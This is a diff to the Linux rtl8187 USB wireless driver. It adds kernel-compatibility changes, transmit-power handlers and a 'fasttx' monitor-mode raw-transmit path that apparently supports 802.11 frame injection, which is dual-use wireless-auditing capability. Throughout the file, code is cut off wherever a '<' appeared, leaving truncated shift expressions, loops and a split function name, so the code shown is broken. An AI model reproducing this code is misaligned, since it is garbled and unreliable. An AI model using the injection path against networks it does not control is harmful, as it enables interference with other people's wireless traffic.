wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-01-30 17:39:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); 